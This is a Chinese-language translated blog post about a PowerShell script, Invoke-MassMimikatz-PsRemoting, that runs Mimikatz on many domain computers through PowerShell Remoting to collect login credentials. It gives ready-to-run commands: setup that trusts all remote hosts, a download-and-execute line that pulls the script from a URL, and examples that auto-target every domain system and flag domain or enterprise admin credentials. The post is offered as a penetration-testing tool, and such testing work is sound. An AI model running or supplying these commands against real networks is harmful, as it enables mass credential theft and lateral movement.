使用SPNs,PowerShell Remoting和Mimikatz自动获取域登陆凭证

  • A+
所属分类:安全文章
Mimikatz是一款非常好的认证令牌恢复(密码破解)工具,深得整个渗透测试社区人们的认可和喜爱。它最初开发是被移植到PowerShell的(Invoke-Mimikatz.ps1),接下来很多Mass Mimikatz脚本被写了出来,很快的被用在许多域系统上,部分Mass Mimikatz利用的方式包括但不限于psexec,schtasks,wmic还有invoke-wmimethod,尽管利用方式有差别,但是他们都能轻松的获取windows的登录凭证。


在这篇博客中,我将介绍一些关于mimikatz的历史,分享我的脚本Invoke-MassMimikatz-PsRemoting.psm1,能够方便人们的工作,它使用远程PowerShell和Invoke-Mimikatz.ps1来从远程系统上收集登录凭证,新的脚本能够支持自动识别域系统,识别是使用spns安装的winrm服务的系统,运行使用非域系统的替代凭证,这些内容能够方便渗透测试,还有可能会让蓝方队员(防守者)了解远程powershell和spns能够在攻击中使用。

关于历史的介绍
此处省略n个字。
这里提供各个模块的项目地址:
Mimikatz
https://github.com/gentilkiwi/mimikatz
Invoke-Mimikatz
https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz
Mass Mimikatz
http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html
Invoke-MassMimikatz
http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/
Metasploit
https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/


关于Invoke-MassMimikatz-PsRemoting脚本

Invoke-MassMimikatz-PsRemoting”脚本提供另一种方式来使用PowerShell Remoting在远程系统上运行Mimikatz
有兴趣的可以从这里下载:https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-MassMimikatz-PsRemoting.psm1
以下是关于这个脚本一些功能的介绍:
1.它包装了本地命令为’Invoke-Command’能够在远程主机上调用执行,Invoke-Command通过调用执行Invoke-WmiMethod和wmic不受8192字符长度的限制。
2.它支持替代凭证,使用PSCredential项目在非域系统中执行。
3.它支持通过查询使用ADSI的域控制器自动创建域的计算机的目标名单,由于ADSI被使用,不再需要ActiveDirectory模块。
4.它支持通过过滤的spns来过滤安装了winrm的域机器。
5.它支持mimikatz能够运行在多少个系统上,默认为5.
6.它使用will’s mimikatz的输出分析器提供干净的输出,也能被用在powershell管道。
7.它会检查从远程系统恢复的用户凭据是否是域或企业管理员。

启用远程powershell

首先要确定远程powershell已经在你运行的系统上配置成功,你可以用以下命令
Enable-PSRemoting –force
想要了解更多信息:https://technet.microsoft.com/en-us/magazine/ff700227.aspx
如果因为某些原因没有执行成功,请输入以下命令
# 设置自动模式启动
Set-Service WinRM -StartMode Automatic

# 核实是否启动
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

# 信任所有主机
Set-Item WSMan:localhostclienttrustedhosts -value *

# 核实信任主机配置
Get-Item WSMan:localhostClientTrustedHosts

Invoke-MassMimikatz-PsRemoting功能示例
以下是一些例子,要记住,域用户登录远程主机的时候都要求是管理员权限,更多的信息在脚本注释部分。
这个功能模块可以用几种方法来导入,如果你用外部网络访问的时候,你可以调用这个功能模块,不用担心他的执行策略,但是,如果使用标准的导入方法,执行策略可能会被禁止或绕过,导入的例子在下面。
# 从一个文件导入功能模块
Import-Module .Invoke-MassMimikatz-PsRemoting.psm1

# 从url上导入
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-MassMimikatz-PsRemoting.psm1’)

例子1
针对10.1.1.1上当前的域用户运行模块
Invoke-MassMimikatz-PSRemoting –Verbose –hosts “10.1.1.1”
例子2
作为当前域用户运行此模块。抓取所有域系统的列表,过滤安装了winrm的系统,在其中5台系统上运行mimikataz
Invoke-MassMimikatz-PSRemoting –Verbose –AutoTarget –MaxHost 5 -WinRM
例子3
使用一个非域系统上的替代凭证,抓取所有域系统的列表,只在其中1台系统上运行mimikataz
Invoke-MassMimikatz-PsRemoting –Verbose –AutoTarget -MaxHost 1 -username corpMyServerAdmin -password 'MyServerPassword!' –DomainController 10.2.9.106 | ft -AutoSize

使用SPNs,PowerShell Remoting和Mimikatz自动获取域登陆凭证
你也可以执行其他命令,或者过滤一些域或企业管理员。

使用SPNs,PowerShell Remoting和Mimikatz自动获取域登陆凭证


原文:https://blog.netspi.com/auto-dumping-domain-credentials-using-spns-powershell-remoting-and-mimikatz/

翻译:小歪

本文始发于微信公众号(关注安全技术):使用SPNs,PowerShell Remoting和Mimikatz自动获取域登陆凭证

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: